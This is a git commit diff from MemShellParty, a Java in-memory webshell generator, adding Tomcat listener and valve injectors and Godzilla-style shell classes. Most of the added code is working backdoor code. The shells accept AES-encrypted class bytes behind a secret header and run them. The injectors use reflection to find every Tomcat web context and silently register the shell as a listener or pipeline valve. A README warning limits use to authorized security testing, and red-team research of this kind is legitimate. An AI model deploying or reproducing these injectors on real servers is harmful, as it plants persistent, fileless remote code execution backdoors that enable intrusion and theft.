feat: add tomcat listener and valve

README.md

@@ -1,5 +1,8 @@
 # MemShellParty
 
+![license](https://img.shields.io/github/license/reajason/memshellparty?style=flat-square)
+![build](https://img.shields.io/github/actions/workflow/status/reajason/memshellparty/ci.yaml?branch=master&style=flat-square)
+
 > [!WARNING]
 > 本工具仅供安全研究人员、网络管理员及相关技术人员进行授权的安全测试、漏洞评估和安全审计工作使用。使用本工具进行任何未经授权的网络攻击或渗透测试等行为均属违法，使用者需自行承担相应的法律责任。
 

generator/build.gradle

@@ -8,11 +8,26 @@ version = '1.0-SNAPSHOT'
 dependencies {
     implementation 'net.bytebuddy:byte-buddy:1.15.1'
     implementation 'javax.servlet:javax.servlet-api:3.0.1'
+    implementation 'jakarta.servlet:jakarta.servlet-api:5.0.0'
 //    implementation fileTree('libs')
 
     implementation 'commons-io:commons-io:2.18.0'
     implementation 'org.apache.commons:commons-lang3:3.17.0'
     implementation 'commons-codec:commons-codec:1.17.1'
+
+    implementation('org.apache.tomcat:tomcat-catalina:8.5.58') {
+        exclude group: 'org.apache.tomcat', module: 'tomcat-api'
+        exclude group: 'org.apache.tomcat', module: 'tomcat-juli'
+        exclude group: 'org.apache.tomcat', module: 'tomcat-jni'
+        exclude group: 'org.apache.tomcat', module: 'tomcat-coyote'
+        exclude group: 'org.apache.tomcat', module: 'tomcat-util'
+        exclude group: 'org.apache.tomcat', module: 'tomcat-util-scan'
+        exclude group: 'org.apache.tomcat', module: 'tomcat-annotations-api'
+        exclude group: 'org.apache.tomcat', module: 'tomcat-el-api'
+        exclude group: 'org.apache.tomcat', module: 'tomcat-jsp-api'
+        exclude group: 'org.apache.tomcat', module: 'tomcat-servlet-api'
+        exclude group: 'org.apache.tomcat', module: 'tomcat-jaspic-api'
+    }
 }
 
 test {

generator/src/main/java/com/reajason/javaweb/memsell/InjectorGenerator.java

@@ -6,6 +6,9 @@ import net.bytebuddy.ByteBuddy;
 import net.bytebuddy.dynamic.DynamicType;
 import net.bytebuddy.implementation.FixedValue;
 import org.apache.commons.codec.binary.Base64;
+import org.apache.commons.lang3.StringUtils;
+
+import java.util.Objects;
 
 import static net.bytebuddy.matcher.ElementMatchers.named;
 
@@ -21,7 +24,7 @@ public class InjectorGenerator {
         try (DynamicType.Unloaded<?> make = new ByteBuddy()
                 .redefine(injectClass)
                 .name(injectClassName)
-                .method(named("getUrlPattern")).intercept(FixedValue.value(urlPattern))
+                .method(named("getUrlPattern")).intercept(FixedValue.value(Objects.toString(urlPattern, "")))
                 .method(named("getBase64String")).intercept(FixedValue.value(base64String))
                 .method(named("getClassName")).intercept(FixedValue.value(shellClassName))
                 .make()) {

generator/src/main/java/com/reajason/javaweb/memsell/tomcat/godzilla/GodzillaFilter.java

@@ -26,6 +26,7 @@ public class GodzillaFilter extends ClassLoader implements Filter {
         super(z);
     }
 
+    @SuppressWarnings("all")
     public Class<?> Q(byte[] cb) {
         return super.defineClass(cb, 0, cb.length);
     }
@@ -42,6 +43,7 @@ public class GodzillaFilter extends ClassLoader implements Filter {
     }
 
     @Override
+    @SuppressWarnings("all")
     public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain chain) throws ServletException, IOException {
         HttpServletRequest request = (HttpServletRequest) servletRequest;
         HttpServletResponse response = (HttpServletResponse) servletResponse;

generator/src/main/java/com/reajason/javaweb/memsell/tomcat/godzilla/GodzillaJakartaFilter.java

@@ -0,0 +1,120 @@
+package com.reajason.javaweb.memsell.tomcat.godzilla;
+
+import javax.crypto.Cipher;
+import javax.crypto.spec.SecretKeySpec;
+import jakarta.servlet.*;
+import jakarta.servlet.http.HttpServletRequest;
+import jakarta.servlet.http.HttpServletResponse;
+import jakarta.servlet.http.HttpSession;
+import java.io.ByteArrayOutputStream;
+import java.io.IOException;
+
+/**
+ * @author ReaJason
+ */
+public class GodzillaJakartaFilter extends ClassLoader implements Filter {
+    public String key;
+    public String pass;
+    public String md5;
+    public String headerName;
+    public String headerValue;
+
+    public GodzillaJakartaFilter() {
+    }
+
+    public GodzillaJakartaFilter(ClassLoader z) {
+        super(z);
+    }
+
+    @SuppressWarnings("all")
+    public Class<?> Q(byte[] cb) {
+        return super.defineClass(cb, 0, cb.length);
+    }
+
+    public byte[] x(byte[] s, boolean m) {
+        try {
+
+            Cipher c = Cipher.getInstance("AES");
+            c.init(m ? 1 : 2, new SecretKeySpec(key.getBytes(), "AES"));
+            return c.doFinal(s);
+        } catch (Exception var4) {
+            return null;
+        }
+    }
+
+    @Override
+    @SuppressWarnings("all")
+    public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain chain) throws ServletException, IOException {
+        HttpServletRequest request = (HttpServletRequest) servletRequest;
+        HttpServletResponse response = (HttpServletResponse) servletResponse;
+        try {
+            if (request.getHeader(headerName) != null && request.getHeader(headerName).contains(headerValue)) {
+                HttpSession session = request.getSession();
+                byte[] data = base64Decode(request.getParameter(pass));
+                data = this.x(data, false);
+                if (session.getAttribute("payload") == null) {
+                    session.setAttribute("payload", (new GodzillaJakartaFilter(this.getClass().getClassLoader())).Q(data));
+                } else {
+                    request.setAttribute("parameters", data);
+                    ByteArrayOutputStream arrOut = new ByteArrayOutputStream();
+                    Object f;
+                    try {
+                        f = ((Class<?>) session.getAttribute("payload")).newInstance();
+                    } catch (InstantiationException | IllegalAccessException e) {
+                        throw new RuntimeException(e);
+                    }
+                    f.equals(arrOut);
+                    f.equals(request);
+                    response.getWriter().write(md5.substring(0, 16));
+                    f.toString();
+                    response.getWriter().write(base64Encode(this.x(arrOut.toByteArray(), true)));
+                    response.getWriter().write(md5.substring(16));
+                }
+
+            } else {
+                chain.doFilter(servletRequest, servletResponse);
+            }
+        } catch (Exception e) {
+            chain.doFilter(servletRequest, servletResponse);
+        }
+
+    }
+
+    @SuppressWarnings("all")
+    public static String base64Encode(byte[] bs) throws Exception {
+        String value = null;
+        Class<?> base64;
+        try {
+            base64 = Class.forName("java.util.Base64");
+            Object encoder = base64.getMethod("getEncoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
+            value = (String) encoder.getClass().getMethod("encodeToString", byte[].class).invoke(encoder, bs);
+        } catch (Exception var6) {
+            try {
+                base64 = Class.forName("sun.misc.BASE64Encoder");
+                Object encoder = base64.newInstance();
+                value = (String) encoder.getClass().getMethod("encode", byte[].class).invoke(encoder, bs);
+            } catch (Exception ignored) {
+            }
+        }
+        return value;
+    }
+
+    @SuppressWarnings("all")
+    public static byte[] base64Decode(String bs) {
+        byte[] value = null;
+        Class<?> base64;
+        try {
+            base64 = Class.forName("java.util.Base64");
+            Object decoder = base64.getMethod("getDecoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
+            value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
+        } catch (Exception var6) {
+            try {
+                base64 = Class.forName("sun.misc.BASE64Decoder");
+                Object decoder = base64.newInstance();
+                value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
+            } catch (Exception ignored) {
+            }
+        }
+        return value;
+    }
+}

generator/src/main/java/com/reajason/javaweb/memsell/tomcat/godzilla/GodzillaJakartaListener.java

@@ -0,0 +1,144 @@
+package com.reajason.javaweb.memsell.tomcat.godzilla;
+
+import javax.crypto.Cipher;
+import javax.crypto.spec.SecretKeySpec;
+import jakarta.servlet.ServletRequestEvent;
+import jakarta.servlet.ServletRequestListener;
+import jakarta.servlet.http.HttpServletRequest;
+import jakarta.servlet.http.HttpServletResponse;
+import jakarta.servlet.http.HttpSession;
+import java.io.ByteArrayOutputStream;
+import java.lang.reflect.Field;
+
+/**
+ * @author ReaJason
+ */
+public class GodzillaJakartaListener extends ClassLoader implements ServletRequestListener {
+    public String md5;
+    public String pass;
+    public String key;
+    public String headerName;
+    public String headerValue;
+
+    public GodzillaJakartaListener() {
+    }
+
+    public GodzillaJakartaListener(ClassLoader z) {
+        super(z);
+    }
+
+    @SuppressWarnings("all")
+    public static synchronized Object getFieldValue(Object obj, String name) throws Exception {
+        Field field = null;
+        Class<?> clazz = obj.getClass();
+        while (clazz != Object.class) {
+            try {
+                field = clazz.getDeclaredField(name);
+                break;
+            } catch (NoSuchFieldException var5) {
+                clazz = clazz.getSuperclass();
+            }
+        }
+        if (field == null) {
+            throw new NoSuchFieldException(name);
+        } else {
+            field.setAccessible(true);
+            return field.get(obj);
+        }
+    }
+
+    @SuppressWarnings("all")
+    public static String base64Encode(byte[] bs) throws Exception {
+        String value = null;
+        Class<?> base64;
+        try {
+            base64 = Class.forName("java.util.Base64");
+            Object encoder = base64.getMethod("getEncoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
+            value = (String) encoder.getClass().getMethod("encodeToString", byte[].class).invoke(encoder, bs);
+        } catch (Exception var6) {
+            try {
+                base64 = Class.forName("sun.misc.BASE64Encoder");
+                Object encoder = base64.newInstance();
+                value = (String) encoder.getClass().getMethod("encode", byte[].class).invoke(encoder, bs);
+            } catch (Exception ignored) {
+            }
+        }
+        return value;
+    }
+
+    @SuppressWarnings("all")
+    public static byte[] base64Decode(String bs) {
+        byte[] value = null;
+        Class<?> base64;
+        try {
+            base64 = Class.forName("java.util.Base64");
+            Object decoder = base64.getMethod("getDecoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
+            value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
+        } catch (Exception var6) {
+            try {
+                base64 = Class.forName("sun.misc.BASE64Decoder");
+                Object decoder = base64.newInstance();
+                value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
+            } catch (Exception ignored) {
+            }
+        }
+        return value;
+    }
+
+    @SuppressWarnings("all")
+    public Class<?> Q(byte[] cb) {
+        return super.defineClass(cb, 0, cb.length);
+    }
+
+    public byte[] x(byte[] s, boolean m) {
+        try {
+            Cipher c = Cipher.getInstance("AES");
+            c.init(m ? 1 : 2, new SecretKeySpec(key.getBytes(), "AES"));
+            return c.doFinal(s);
+        } catch (Exception var4) {
+            return null;
+        }
+    }
+
+    @Override
+    @SuppressWarnings("all")
+    public void requestInitialized(ServletRequestEvent servletRequestEvent) {
+        HttpServletRequest request = (HttpServletRequest) servletRequestEvent.getServletRequest();
+        try {
+            if (request.getHeader(headerName) != null
+                    && request.getHeader(headerName).contains(headerValue)) {
+                HttpServletResponse response = this.getResponseFromRequest(request);
+                HttpSession session = request.getSession();
+                byte[] data = base64Decode(request.getParameter(pass));
+                data = this.x(data, false);
+                if (session.getAttribute("payload") == null) {
+                    session.setAttribute(
+                            "payload",
+                            (new GodzillaJakartaListener(this.getClass().getClassLoader())).Q(data));
+                } else {
+                    request.setAttribute("parameters", data);
+                    ByteArrayOutputStream arrOut = new ByteArrayOutputStream();
+                    Object f = ((Class<?>) session.getAttribute("payload")).newInstance();
+                    f.equals(arrOut);
+                    f.equals(request);
+                    response.getWriter().write(md5.substring(0, 16));
+                    f.toString();
+                    response.getWriter().write(base64Encode(this.x(arrOut.toByteArray(), true)));
+                    response.getWriter().write(md5.substring(16));
+                    response.flushBuffer();
+                }
+            }
+        } catch (Exception ignored) {
+        }
+    }
+
+    private HttpServletResponse getResponseFromRequest(HttpServletRequest request) throws Exception {
+        HttpServletResponse response = null;
+        try {
+            response = (HttpServletResponse) getFieldValue(getFieldValue(request, "request"), "response");
+        } catch (Exception e) {
+            response = (HttpServletResponse) getFieldValue(request, "response");
+        }
+        return response;
+    }
+}

generator/src/main/java/com/reajason/javaweb/memsell/tomcat/godzilla/GodzillaListener.java

@@ -105,6 +105,7 @@ public class GodzillaListener extends ClassLoader implements ServletRequestListe
     }
 
     @Override
+    @SuppressWarnings("all")
     public void requestInitialized(ServletRequestEvent servletRequestEvent) {
         HttpServletRequest request = (HttpServletRequest) servletRequestEvent.getServletRequest();
         try {

generator/src/main/java/com/reajason/javaweb/memsell/tomcat/godzilla/GodzillaValve.java

@@ -0,0 +1,137 @@
+package com.reajason.javaweb.memsell.tomcat.godzilla;
+
+import org.apache.catalina.Valve;
+import org.apache.catalina.connector.Request;
+import org.apache.catalina.connector.Response;
+
+import javax.crypto.Cipher;
+import javax.crypto.spec.SecretKeySpec;
+import javax.servlet.ServletException;
+import javax.servlet.http.HttpSession;
+import java.io.ByteArrayOutputStream;
+import java.io.IOException;
+
+/**
+ * @author ReaJason
+ */
+public class GodzillaValve extends ClassLoader implements Valve {
+    protected Valve next;
+    protected boolean asyncSupported;
+    public String key;
+    public String pass;
+    public String headerName;
+    public String headerValue;
+    public String md5;
+
+    public GodzillaValve() {
+    }
+
+    public GodzillaValve(ClassLoader z) {
+        super(z);
+    }
+
+    @SuppressWarnings("all")
+    public Class Q(byte[] cb) {
+        return super.defineClass(cb, 0, cb.length);
+    }
+
+    public byte[] x(byte[] s, boolean m) {
+        try {
+            Cipher c = Cipher.getInstance("AES");
+            c.init(m ? 1 : 2, new SecretKeySpec(key.getBytes(), "AES"));
+            return c.doFinal(s);
+        } catch (Exception var4) {
+            return null;
+        }
+    }
+
+    @Override
+    public Valve getNext() {
+        return this.next;
+    }
+
+    @Override
+    public void setNext(Valve valve) {
+        this.next = valve;
+    }
+
+    @Override
+    public boolean isAsyncSupported() {
+        return this.asyncSupported;
+    }
+
+    @Override
+    public void backgroundProcess() {
+    }
+
+    @Override
+    @SuppressWarnings("all")
+    public void invoke(Request request, Response response) throws IOException, ServletException {
+        try {
+            if (request.getHeader(headerName) != null && request.getHeader(headerName).contains(headerValue)) {
+                HttpSession session = request.getSession();
+                byte[] data = base64Decode(request.getParameter(pass));
+                data = this.x(data, false);
+                if (session.getAttribute("payload") == null) {
+                    session.setAttribute("payload", (new GodzillaValve(this.getClass().getClassLoader())).Q(data));
+                } else {
+                    request.setAttribute("parameters", data);
+                    ByteArrayOutputStream arrOut = new ByteArrayOutputStream();
+                    Object f = ((Class) session.getAttribute("payload")).newInstance();
+                    f.equals(arrOut);
+                    f.equals(data);
+                    f.equals(request);
+                    response.getWriter().write(md5.substring(0, 16));
+                    f.toString();
+                    response.getWriter().write(base64Encode(this.x(arrOut.toByteArray(), true)));
+                    response.getWriter().write(md5.substring(16));
+                    response.flushBuffer();
+                }
+            } else {
+                this.getNext().invoke(request, response);
+            }
+        } catch (Exception e) {
+            e.printStackTrace();
+            this.getNext().invoke(request, response);
+        }
+
+    }
+
+    @SuppressWarnings("all")
+    public static String base64Encode(byte[] bs) {
+        String value = null;
+        Class base64;
+        try {
+            base64 = Class.forName("java.util.Base64");
+            Object Encoder = base64.getMethod("getEncoder", (Class[]) null).invoke(base64, (Object[]) null);
+            value = (String) Encoder.getClass().getMethod("encodeToString", byte[].class).invoke(Encoder, bs);
+        } catch (Exception var6) {
+            try {
+                base64 = Class.forName("sun.misc.BASE64Encoder");
+                Object Encoder = base64.newInstance();
+                value = (String) Encoder.getClass().getMethod("encode", byte[].class).invoke(Encoder, bs);
+            } catch (Exception var5) {
+            }
+        }
+        return value;
+    }
+
+    @SuppressWarnings("all")
+    public static byte[] base64Decode(String bs) {
+        byte[] value = null;
+        Class base64;
+        try {
+            base64 = Class.forName("java.util.Base64");
+            Object decoder = base64.getMethod("getDecoder", (Class[]) null).invoke(base64, (Object[]) null);
+            value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
+        } catch (Exception var6) {
+            try {
+                base64 = Class.forName("sun.misc.BASE64Decoder");
+                Object decoder = base64.newInstance();
+                value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
+            } catch (Exception var5) {
+            }
+        }
+        return value;
+    }
+}

generator/src/main/java/com/reajason/javaweb/memsell/tomcat/injector/TomcatListenerInjector.java

@@ -0,0 +1,246 @@
+package com.reajason.javaweb.memsell.tomcat.injector;
+
+import java.io.ByteArrayInputStream;
+import java.io.ByteArrayOutputStream;
+import java.io.IOException;
+import java.lang.reflect.Field;
+import java.lang.reflect.InvocationTargetException;
+import java.lang.reflect.Method;
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.HashMap;
+import java.util.List;
+import java.util.zip.GZIPInputStream;
+
+/**
+ * Tomcat Listener 注入器
+ * Author: pen4uin
+ * 测试版本：
+ * jdk    v1.8.0_275
+ * tomcat v5.5.36, v6.0.9, v7.0.32, v8.5.83, v9.0.67
+ */
+public class TomcatListenerInjector {
+
+    public String getClassName() {
+        return "";
+    }
+
+    public String getBase64String() {
+        return "";
+    }
+
+    static {
+        new TomcatListenerInjector();
+    }
+
+    public TomcatListenerInjector() {
+        try {
+            List<Object> contexts = getContext();
+            for (Object context : contexts) {
+                Object listener = getListener(context);
+                addListener(context, listener);
+            }
+        } catch (Exception ignored) {
+        }
+    }
+
+    @SuppressWarnings("all")
+    public List<Object> getContext() throws IllegalAccessException, NoSuchMethodException, InvocationTargetException {
+        List<Object> contexts = new ArrayList<Object>();
+        Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads");
+        Object context = null;
+        try {
+            for (Thread thread : threads) {
+                // 适配 v5/v6/7/8
+                if (thread.getName().contains("ContainerBackgroundProcessor") && context == null) {
+                    HashMap childrenMap = (HashMap) getFV(getFV(getFV(thread, "target"), "this$0"), "children");
+                    // 原: map.get("localhost")
+                    // 之前没有对 StandardHost 进行遍历，只考虑了 localhost 的情况，如果目标自定义了 host,则会获取不到对应的 context，导致注入失败
+                    for (Object key : childrenMap.keySet()) {
+                        HashMap children = (HashMap) getFV(childrenMap.get(key), "children");
+                        // 原: context = children.get("");
+                        // 之前没有对context map进行遍历，只考虑了 ROOT context 存在的情况，如果目标tomcat不存在 ROOT context，则会注入失败
+                        for (Object key1 : children.keySet()) {
+                            context = children.get(key1);
+                            if (context != null && context.getClass().getName().contains("StandardContext")) {
+                                contexts.add(context);
+                            }
+                            // 兼容 spring boot 2.x embedded tomcat
+                            if (context != null && context.getClass().getName().contains("TomcatEmbeddedContext")) {
+                                contexts.add(context);
+                            }
+                        }
+                    }
+                }
+                // 适配 tomcat v9
+                else if (thread.getContextClassLoader() != null && (thread.getContextClassLoader().getClass().toString().contains("ParallelWebappClassLoader") || thread.getContextClassLoader().getClass().toString().contains("TomcatEmbeddedWebappClassLoader"))) {
+                    context = getFV(getFV(thread.getContextClassLoader(), "resources"), "context");
+                    if (context != null && context.getClass().getName().contains("StandardContext")) {
+                        contexts.add(context);
+                    }
+                    if (context != null && context.getClass().getName().contains("TomcatEmbeddedContext")) {
+                        contexts.add(context);
+                    }
+                }
+            }
+        } catch (Exception e) {
+            throw new RuntimeException(e);
+        }
+        return contexts;
+    }
+
+    private Object getListener(Object context) {
+        Object listener = null;
+        ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
+        if (classLoader == null) {
+            classLoader = context.getClass().getClassLoader();
+        }
+        try {
+            listener = classLoader.loadClass(getClassName()).newInstance();
+        } catch (Exception e) {
+            try {
+                byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
+                Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
+                defineClass.setAccessible(true);
+                Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
+                listener = clazz.newInstance();
+            } catch (Throwable ignored) {
+            }
+        }
+        return listener;
+    }
+
+    @SuppressWarnings("all")
+    public void addListener(Object context, Object listener) throws Exception {
+        if (!isInjected(context, listener.getClass().getName())) {
+            if (getFV(context, "applicationEventListenersObjects") != null) {
+                Object[] appListeners    = (Object[]) getFV(context, "applicationEventListenersObjects");
+                if(appListeners != null && appListeners.length > 0) {
+                    List appListenerList = new ArrayList(Arrays.asList(appListeners));
+                    appListenerList.add(listener);
+                    setFieldValue(context, "applicationEventListenersObjects", appListenerList.toArray());
+                }
+            } else if (getFV(context, "applicationEventListenersList") != null) {
+                List<Object> appListeners = (List<Object>) getFV(context, "applicationEventListenersList");
+                if(appListeners != null) {
+                    appListeners.add(listener);
+                }
+            }
+        }
+    }
+
+    @SuppressWarnings("all")
+    public boolean isInjected(Object context, String evilClassName) throws Exception {
+        Object[] objects = (Object[]) invokeMethod(context, "getApplicationEventListeners");
+        List listeners = Arrays.asList(objects);
+        ArrayList arrayList = new ArrayList(listeners);
+        for (Object o : arrayList) {
+            if (o.getClass().getName().contains(evilClassName)) {
+                return true;
+            }
+        }
+        return false;
+    }
+
+    @SuppressWarnings("all")
+    static byte[] decodeBase64(String base64Str) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException {
+        Class<?> decoderClass;
+        try {
+            decoderClass = Class.forName("sun.misc.BASE64Decoder");
+            return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
+        } catch (Exception ignored) {
+            decoderClass = Class.forName("java.util.Base64");
+            Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
+            return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
+        }
+    }
+
+    @SuppressWarnings("all")
+    public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
+        ByteArrayOutputStream out = new ByteArrayOutputStream();
+        ByteArrayInputStream in = new ByteArrayInputStream(compressedData);
+        GZIPInputStream ungzip = new GZIPInputStream(in);
+        byte[] buffer = new byte[256];
+        int n;
+        while ((n = ungzip.read(buffer)) >= 0) {
+            out.write(buffer, 0, n);
+        }
+        return out.toByteArray();
+    }
+
+    @SuppressWarnings("all")
+    static Object getFV(Object obj, String fieldName) throws Exception {
+        try{
+            Field field = getF(obj, fieldName);
+            field.setAccessible(true);
+            return field.get(obj);
+        } catch (Exception e){
+            return null;
+        }
+    }
+
+    static Field getF(Object obj, String fieldName) throws NoSuchFieldException {
+        Class<?> clazz = obj.getClass();
+        while (clazz != null) {
+            try {
+                Field field = clazz.getDeclaredField(fieldName);
+                field.setAccessible(true);
+                return field;
+            } catch (NoSuchFieldException e) {
+                clazz = clazz.getSuperclass();
+            }
+        }
+        throw new NoSuchFieldException(fieldName);
+    }
+
+    public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
+        final Field field = getF(obj.getClass(), fieldName);
+        field.set(obj, value);
+    }
+
+    static synchronized Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException {
+        return invokeMethod(targetObject, methodName, new Class[0], new Object[0]);
+    }
+
+    @SuppressWarnings("all")
+    public static synchronized Object invokeMethod(final Object obj, final String methodName, Class[] paramClazz, Object[] param) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {
+        Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass();
+        Method method = null;
+        Class tempClass = clazz;
+        while (method == null && tempClass != null) {
+            try {
+                if (paramClazz == null) {
+                    // Get all declared methods of the class
+                    Method[] methods = tempClass.getDeclaredMethods();
+                    for (int i = 0; i < methods.length; i++) {
+                        if (methods[i].getName().equals(methodName) && methods[i].getParameterTypes().length == 0) {
+                            method = methods[i];
+                            break;
+                        }
+                    }
+                } else {
+                    method = tempClass.getDeclaredMethod(methodName, paramClazz);
+                }
+            } catch (NoSuchMethodException e) {
+                tempClass = tempClass.getSuperclass();
+            }
+        }
+        if (method == null) {
+            throw new NoSuchMethodException(methodName);
+        }
+        method.setAccessible(true);
+        if (obj instanceof Class) {
+            try {
+                return method.invoke(null, param);
+            } catch (IllegalAccessException e) {
+                throw new RuntimeException(e.getMessage());
+            }
+        } else {
+            try {
+                return method.invoke(obj, param);
+            } catch (IllegalAccessException e) {
+                throw new RuntimeException(e.getMessage());
+            }
+        }
+    }
+}

generator/src/main/java/com/reajason/javaweb/memsell/tomcat/injector/TomcatValveInjector.java

@@ -0,0 +1,255 @@
+package com.reajason.javaweb.memsell.tomcat.injector;
+
+import java.io.ByteArrayInputStream;
+import java.io.ByteArrayOutputStream;
+import java.io.IOException;
+import java.lang.reflect.Field;
+import java.lang.reflect.InvocationTargetException;
+import java.lang.reflect.Method;
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.HashMap;
+import java.util.List;
+import java.util.zip.GZIPInputStream;
+
+/**
+ * Date: 2022/11/01
+ * Author: pen4uin
+ * Description: Tomcat Valve 注入器
+ * Tested version：
+ * jdk    v1.8.0_275
+ * tomcat v8.5.83, v9.0.67
+ */
+public class TomcatValveInjector {
+
+    public String getUrlPattern() {
+        return "/*";
+    }
+
+
+    public String getClassName() {
+        return "";
+    }
+
+    public String getBase64String() {
+        return "";
+    }
+
+
+    static {
+        new TomcatValveInjector();
+    }
+
+    public TomcatValveInjector() {
+        try {
+            List<Object> contexts = getContext();
+            for (Object context : contexts) {
+                Object valve = getValve(context);
+                if (valve == null) {
+                    continue;
+                }
+                injectValve(context, valve);
+            }
+        } catch (Exception e) {
+            e.printStackTrace();
+        }
+    }
+
+    @SuppressWarnings("all")
+    public List<Object> getContext() throws IllegalAccessException, NoSuchMethodException, InvocationTargetException {
+        List<Object> contexts = new ArrayList<Object>();
+        Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads");
+        Object context = null;
+        try {
+            for (Thread thread : threads) {
+                // 适配 v5/v6/7/8
+                if (thread.getName().contains("ContainerBackgroundProcessor") && context == null) {
+                    HashMap childrenMap = (HashMap) getFV(getFV(getFV(thread, "target"), "this$0"), "children");
+                    // 原: map.get("localhost")
+                    // 之前没有对 StandardHost 进行遍历，只考虑了 localhost 的情况，如果目标自定义了 host,则会获取不到对应的 context，导致注入失败
+                    for (Object key : childrenMap.keySet()) {
+                        HashMap children = (HashMap) getFV(childrenMap.get(key), "children");
+                        // 原: context = children.get("");
+                        // 之前没有对context map进行遍历，只考虑了 ROOT context 存在的情况，如果目标tomcat不存在 ROOT context，则会注入失败
+                        for (Object key1 : children.keySet()) {
+                            context = children.get(key1);
+                            if (context != null && context.getClass().getName().contains("StandardContext")) {
+                                contexts.add(context);
+                            }
+                            // 兼容 spring boot 2.x embedded tomcat
+                            if (context != null && context.getClass().getName().contains("TomcatEmbeddedContext")) {
+                                contexts.add(context);
+                            }
+                        }
+                    }
+                }
+                // 适配 tomcat v9
+                else if (thread.getContextClassLoader() != null && (thread.getContextClassLoader().getClass().toString().contains("ParallelWebappClassLoader") || thread.getContextClassLoader().getClass().toString().contains("TomcatEmbeddedWebappClassLoader"))) {
+                    context = getFV(getFV(thread.getContextClassLoader(), "resources"), "context");
+                    if (context != null && context.getClass().getName().contains("StandardContext")) {
+                        contexts.add(context);
+                    }
+                    if (context != null && context.getClass().getName().contains("TomcatEmbeddedContext")) {
+                        contexts.add(context);
+                    }
+                }
+            }
+        } catch (Exception e) {
+            throw new RuntimeException(e);
+        }
+        return contexts;
+    }
+
+    @SuppressWarnings("all")
+    private Object getValve(Object context) {
+        Object valve = null;
+        ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
+        if (classLoader == null) {
+            classLoader = context.getClass().getClassLoader();
+        }
+        try {
+            valve = classLoader.loadClass(getClassName()).newInstance();
+        } catch (Exception e) {
+            try {
+                byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
+                Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
+                defineClass.setAccessible(true);
+                Class clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
+                valve = clazz.newInstance();
+            } catch (Exception e2) {
+                e2.printStackTrace();
+            }
+        }
+        return valve;
+    }
+
+    @SuppressWarnings("all")
+    static byte[] decodeBase64(String base64Str) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException {
+        Class<?> decoderClass;
+        try {
+            decoderClass = Class.forName("sun.misc.BASE64Decoder");
+            return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
+        } catch (Exception ignored) {
+            decoderClass = Class.forName("java.util.Base64");
+            Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
+            return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
+        }
+    }
+
+    @SuppressWarnings("all")
+    public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
+        ByteArrayOutputStream out = new ByteArrayOutputStream();
+        ByteArrayInputStream in = new ByteArrayInputStream(compressedData);
+        GZIPInputStream ungzip = new GZIPInputStream(in);
+        byte[] buffer = new byte[256];
+        int n;
+        while ((n = ungzip.read(buffer)) >= 0) {
+            out.write(buffer, 0, n);
+        }
+        return out.toByteArray();
+    }
+
+
+    @SuppressWarnings("all")
+    public boolean isInjected(Object context, String valveClassName) throws Exception {
+        Object obj = invokeMethod(context, "getPipeline");
+        Object[] valves = (Object[]) invokeMethod(obj, "getValves");
+        List<Object> valvesList = Arrays.asList(valves);
+        for (Object valve : valvesList) {
+            if (valve.getClass().getName().contains(valveClassName)) {
+                return true;
+            }
+        }
+        return false;
+    }
+
+    @SuppressWarnings("all")
+    public void injectValve(Object context, Object valve) throws Exception {
+        if (isInjected(context, valve.getClass().getName())) {
+            return;
+        }
+        try {
+            Class ValveClass;
+            try {
+                ValveClass = Thread.currentThread().getContextClassLoader().loadClass("org.apache.catalina.Valve");
+            } catch (Exception e) {
+                ValveClass = context.getClass().getClassLoader().loadClass("org.apache.catalina.Valve");
+            }
+            Object obj = invokeMethod(context, "getPipeline");
+            // Object obj = STANDARD_CONTEXT.getClass().getMethod("getPipeline").invoke(STANDARD_CONTEXT);
+            // obj.getClass().getMethod("addValve", Class.forName("org.apache.catalina.Valve")).invoke(obj,evilValve);
+            invokeMethod(obj, "addValve", new Class[]{ValveClass}, new Object[]{valve});
+        } catch (Exception e) {
+            e.printStackTrace();
+        }
+    }
+
+    @SuppressWarnings("all")
+    private static synchronized Object getFV(Object var0, String var1) throws Exception {
+        Field var2 = null;
+        Class var3 = var0.getClass();
+
+        while (var3 != Object.class) {
+            try {
+                var2 = var3.getDeclaredField(var1);
+                break;
+            } catch (NoSuchFieldException var5) {
